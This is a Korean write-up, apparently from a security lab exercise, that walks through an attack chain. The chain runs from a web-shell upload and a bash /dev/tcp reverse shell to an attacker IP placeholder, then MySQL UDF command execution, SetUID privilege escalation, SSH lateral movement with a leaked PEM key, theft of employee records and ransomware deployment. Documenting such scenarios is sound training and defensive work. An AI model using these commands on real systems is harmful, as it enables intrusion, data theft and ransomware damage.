> For the complete documentation index, see [llms.txt](https://h08.gitbook.io/undefined/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://h08.gitbook.io/undefined/undefined-1/2..md).

# 2. 공격 시나리오 세부

### 1. Public Web server에 파일 업로드 취약점을 이용하여  웹쉘(b374k) 업로드&#x20;

{% embed url="<https://github.com/b374k/b374k>" %}

<figure><img src="https://3550524140-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FMQqlpxjtA7kpPBgieO9x%2Fuploads%2Fdekrs233uj7uBEOcFDD5%2Fimage.png?alt=media&amp;token=0c127c9d-7631-4f34-9887-bd528725b379" alt=""><figcaption></figcaption></figure>

*\[웹 쉘 (b374k) 업로드 화면* [*https://blog.sucuri.net/2020/05/b374k-web-shell-packer.html*](https://blog.sucuri.net/2020/05/b374k-web-shell-packer.html) *참고]*

웹쉘 업로드 후 업로드 한 경로를 찾아 실행한다.

***

### 2. 웹쉘을 이용해 Publlic web server 리버스 쉘 확보

웹 서버에서 공격자 PC로 리버스쉘을 연결하여 **인터랙티브 셀(Interactive Shell)** 을 획득한다.

공격자는 서버 내부 명령 실행권한을 원격으로 확보할 수 있다.

1. 리스너 설정

공격자 PC에서 Netcat을 이용해 포트 4444로 리스너를 연다.

```
nc -lnvp 4444
```

2. 웹쉘 내 명령 실행

웹쉘이 업로드된 서버 내부에서 다음 명령을 실행한다.

```
bash -c "bash -i >& /dev/tcp/[공격자_IP]/4444 0>&1"
```

이 명령은 서버가 공격자 PC로 TCP 연결을 열고, 표준 입출력을 바인딩하여 양방향 쉘 세션을 생성한다.

정상적으로 연결이 이루어지면, 공격자 PC 터미널에 다음과 같은 쉘이 표시된다.

```
www-data@ip-10-0-12-95:/boot$ ls
System.map-6.8.0-1024-aws
System.map-6.8.0-1029-aws
config-6.8.0-1024-aws
config-6.8.0-1029-aws
grub
initrd.img
initrd.img.old
microcode.cpio
vmlinuz
vmlinuz-6.8.0-1024-aws
vmlinuz-6.8.0-1029-aws
vmlinuz.old

```

***

### 3. Publlic web server 정보 수집

<figure><img src="https://3550524140-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FMQqlpxjtA7kpPBgieO9x%2Fuploads%2F7YZUVv0eJ39WqzImz3s5%2Funknown.png?alt=media&amp;token=12ec4709-98b3-427e-a12f-649d188c9cd1" alt=""><figcaption></figcaption></figure>

취약점으로 이어질 수 있는 정보를 확인한다.

퍼블릭 웹 서버 정보 수집 중 MySQL 연결 정보가 하드 코딩된 파일을 발견하였다.

***

### 4. Publlic DB 접속 후 UDF(User Define Function, 사용자  정의 함수) 기능 확인

<figure><img src="https://3550524140-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FMQqlpxjtA7kpPBgieO9x%2Fuploads%2FWBsLHrgKCTUFVnDcMWtj%2Funknown.png?alt=media&amp;token=f2f72322-da4f-4870-8226-eb8c41973779" alt=""><figcaption></figcaption></figure>

<div align="center" data-full-width="false"><figure><img src="https://3550524140-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FMQqlpxjtA7kpPBgieO9x%2Fuploads%2FP5NmdXDMWyfmuTc9J2dK%2Funknown.png?alt=media&amp;token=36a92f18-2b88-4a78-9e91-d78fbe896452" alt="" width="425"><figcaption></figcaption></figure></div>

MySQL 서버에 사용자 정의 함수(UDF)인 sys\_exec이 등록되어 있고

그 함수를 통해 실제 시스템 명령이 실행되는 것을 보여준다.&#x20;

즉, 데이터베이스 쿼리만으로 운영체제 수준의 명령 실행이 가능한 상태(RCE 위험)가 있음

***

### 5. UDF 기능을 활용한 Public DB의 리버스쉘 확보

<figure><img src="https://3550524140-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FMQqlpxjtA7kpPBgieO9x%2Fuploads%2FRfgrXSvngJLgoKJGKiYV%2Funknown.png?alt=media&amp;token=20c2fce2-3049-4193-b095-239948ae6c24" alt="" width="563"><figcaption></figcaption></figure>

DB 프로세스 권한으로 OS 명령 실행 → 서버 측면 이동을 위해&#x20;

MySQL에 설정된 UDF 함수를 확인하고 리버스쉘을 실행한다.

***

### 6. SetUID 취약점이 존재하는 취약한 파일을 악용한 권한 상승

로컬 파일시스템에 SetUID로 설정된 취약한 실행 파일을 찾아 악용함으로써 최종적으로 root 권한(최고 권한)을 획득하고 시스템·프로세스를 제어하기 위함이다.

취약한 파일 열거 명령어

```
find / -user root -perm -4000 -type f 2>/dev/null 
```

<figure><img src="https://3550524140-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FMQqlpxjtA7kpPBgieO9x%2Fuploads%2FOK9kVRJBY5sr4b4YO3lW%2Funknown.png?alt=media&amp;token=26affbc1-0f96-4084-b769-cf05ece95cbd" alt="" width="403"><figcaption></figcaption></figure>

Privilege Escalation done. New EUID : 0&#x20;

권한 상승 성공.

***

### 7. 내부에 존재하는 PEM 파일 확인 및 악용

개발자의 실수로 서버에 남아 있던 PEM(SSH 개인키) 파일을 발견하여 이를 이용해 내부 또는 외부 호스트로 측면 이동(lateral movement) 혹은 원격 접속을 수행하였다.&#x20;

<figure><img src="https://3550524140-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FMQqlpxjtA7kpPBgieO9x%2Fuploads%2F3RxcPlVmfjOno7TWegYt%2Funknown.png?alt=media&amp;token=8bf12ed1-dacd-4cc8-87a1-89eda47c35a5" alt="" width="496"><figcaption></figcaption></figure>

ls 결과에서 WHSkey.pem, WHSkey-uploaded.pem 발견한다.

<figure><img src="https://3550524140-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FMQqlpxjtA7kpPBgieO9x%2Fuploads%2FrcmcN9ESMyHwvKThEdrr%2Funknown.png?alt=media&amp;token=f67031d2-1702-4741-9e6c-4727e8656115" alt="" width="484"><figcaption></figcaption></figure>

```
chmod 600 WHSkey.pem
ssh -i WHSkey.pem ubuntu@54.206.170.70 -o StrictHostKeyChecking=no
```

프롬프트가 ubuntu\@ip-10-0-0-26:\~$ 로 바뀌어 원격 쉘이 획득되었다.

PEM 파일을 활용한 베스천 호스트 접속 성공.

***

### 8. 베스천 호스트 정보 수집을 통한 Admin DB 존재 확인 및 접속

<figure><img src="https://3550524140-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FMQqlpxjtA7kpPBgieO9x%2Fuploads%2FoEUxpS63ASLwstDhhlEF%2Funknown.png?alt=media&amp;token=fe7ed522-d8f8-4ae2-9ae0-078c44e8769d" alt="" width="500"><figcaption></figcaption></figure>

Private subnet 구조 파악 후 측면이동 한다.

bash\_history 에 남은 Admin DB 의 접속 기록을 확인하여 접속한다.

***

### 9. Admin DB 에서 사내 직원 정보 탈취

Admin DB 서버에 접속한 공격자는 root 권한의 제한이 없는 서버였고 root 권한을 이용해\
MySQL 접속, 내부 기밀(인사, 급여, 주민등록번호 등)을 탈취 할 수 있었다.

<figure><img src="https://3550524140-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FMQqlpxjtA7kpPBgieO9x%2Fuploads%2FnqmjDJr2lKNBecX3JkAi%2Funknown.png?alt=media&amp;token=67cc3847-b70e-4aa0-ae55-a45d2b6bb1c3" alt="" width="563"><figcaption></figcaption></figure>

***

### 9. Admin DB에 zamok 랜섬웨어 감염시켜 가용성 침해&#x20;

<div align="left"><figure><img src="https://3550524140-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FMQqlpxjtA7kpPBgieO9x%2Fuploads%2FcJeXSG9chnv6Td0elDBo%2Funknown.png?alt=media&amp;token=71f4d2e1-55d4-465c-bfe4-d9fd49a7b531" alt=""><figcaption></figcaption></figure></div>

SCP 를 활용하여 내부망에 랜섬웨어 파일을 전송하고 감염시킨다.
